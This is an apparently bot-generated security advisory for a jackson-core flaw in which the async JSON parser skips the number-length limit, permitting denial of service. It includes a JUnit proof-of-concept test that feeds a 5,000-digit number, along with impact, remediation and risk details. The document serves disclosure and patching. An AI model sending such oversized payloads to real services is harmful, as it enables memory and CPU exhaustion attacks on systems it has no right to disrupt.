GHSA-72hv-8253-57qq found in maven/com.fasterxml.jackson.core/jackson-core@2.13.1

GHSA-72hv-8253-57qq found in maven/com.fasterxml.jackson.core/jackson-core@2.13.1

Important

Risk: 1.35 (Low) CVSS: 6.9

Description

Summary

The non-blocking (async) JSON parser in jackson-core bypasses the maxNumberLength constraint (default: 1000 characters) defined in StreamReadConstraints. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).

The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.

Details

The root cause is that the async parsing path in NonBlockingUtf8JsonParserBase (and related classes) does not call the methods responsible for number length validation.

  • The number parsing methods (e.g., _finishNumberIntegralPart) accumulate digits into the TextBuffer without any length checks.
  • After parsing, they call _valueComplete(), which finalizes the token but does not call resetInt() or resetFloat().
  • The resetInt()/resetFloat() methods in ParserBase are where the validateIntegerLength() and validateFPLength() checks are performed.
  • Because this validation step is skipped, the maxNumberLength constraint is never enforced in the async code path.

PoC

The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.

package tools.jackson.core.unittest.dos;

import java.nio.charset.StandardCharsets;

import org.junit.jupiter.api.Test;

import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;

import static org.junit.jupiter.api.Assertions.*;

/**
 * POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
 *
 * Authors: sprabhav7, rohan-repos
 * 
 * maxNumberLength default = 1000 characters (digits).
 * A number with more than 1000 digits should be rejected by any parser.
 *
 * BUG: The async parser never calls resetInt()/resetFloat() which is where
 * validateIntegerLength()/validateFPLength() lives. Instead it calls
 * _valueComplete() which skips all number length validation.
 *
 * CWE-770: Allocation of Resources Without Limits or Throttling
 */
class AsyncParserNumberLengthBypassTest {

    private static final int MAX_NUMBER_LENGTH = 1000;
    private static final int TEST_NUMBER_LENGTH = 5000;

    private final JsonFactory factory = new JsonFactory();

    // CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
    @Test
    void syncParserRejectsLongNumber() throws Exception {
        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
		
		// Output to console
        System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
        try {
            try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
                while (p.nextToken() != null) {
                    if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
                        System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
                    }
                }
            }
            fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
        } catch (StreamConstraintsException e) {
            System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
        }
    }

    // VULNERABILITY: Async parser accepts the SAME number that sync rejects
    @Test
    void asyncParserAcceptsLongNumber() throws Exception {
        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);

        NonBlockingByteArrayJsonParser p =
            (NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
        p.feedInput(payload, 0, payload.length);
        p.endOfInput();

        boolean foundNumber = false;
        try {
            while (p.nextToken() != null) {
                if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
                    foundNumber = true;
                    String numberText = p.getText();
                    assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
                        "Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
                }
            }
            // Output to console
            System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
            assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
        } catch (StreamConstraintsException e) {
            fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
        }
        p.close();
    }

    private byte[] buildPayloadWithLongInteger(int numDigits) {
        StringBuilder sb = new StringBuilder(numDigits + 10);
        sb.append("{\"v\":");
        for (int i = 0; i < numDigits; i++) {
            sb.append((char) ('1' + (i % 9)));
        }
        sb.append('}');
        return sb.toString().getBytes(StandardCharsets.UTF_8);
    }
}

Impact

A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:

  1. Memory Exhaustion: Unbounded allocation of memory in the TextBuffer to store the number's digits, leading to an OutOfMemoryError.
  2. CPU Exhaustion: If the application subsequently calls getBigIntegerValue() or getDecimalValue(), the JVM can be tied up in O(n^2) BigInteger parsing operations, leading to a CPU-based DoS.

Suggested Remediation

The async parsing path should be updated to respect the maxNumberLength constraint. The simplest fix appears to ensure that _valueComplete() or a similar method in the async path calls the appropriate validation methods (resetInt() or resetFloat()) already present in ParserBase, mirroring the behavior of the synchronous parsers.

NOTE: This research was performed in collaboration with rohan-repos

Affected component

The vulnerability is in pkg:maven/com.fasterxml.jackson.core/jackson-core@2.13.1, found in artifacts pkg:oci/cassandra-exporter?repository_url=registry.opencode.de/open-code/oci/cassandra-exporter&arch=amd64&tag=2.3.8-main-amd64.

Recommended fix

Upgrade to version 2.18.6 or later.

Additional guidance for mitigating vulnerabilities

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Path to component 

 %%{init: { 'theme':'base', 'themeVariables': {
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'primaryTextColor': '#0D1117',
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 flowchart TD
Your_application(["Your application"]) --- pkg_maven_com_fasterxml_jackson_core_jackson_core_2_13_1(["pkg:maven/com.fasterxml.jackson.core/jackson-core\@2.13.1"])

classDef default stroke-width:2px
Risk Factor Value Description
Vulnerability Depth 1 The vulnerability is in a direct dependency of your project.
EPSS 0.00 % The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
EXPLOIT Not available We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database. There are no script kiddies exploiting this vulnerability.
CVSS-BE 6.9
CVSS-B 6.9 - The vulnerability can be exploited over the network without needing physical access.
- It is easy for an attacker to exploit this vulnerability.
- An attacker does not need any special privileges or access rights.
- No user interaction is needed for the attacker to exploit this vulnerability.

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Edited by DevGuard Bot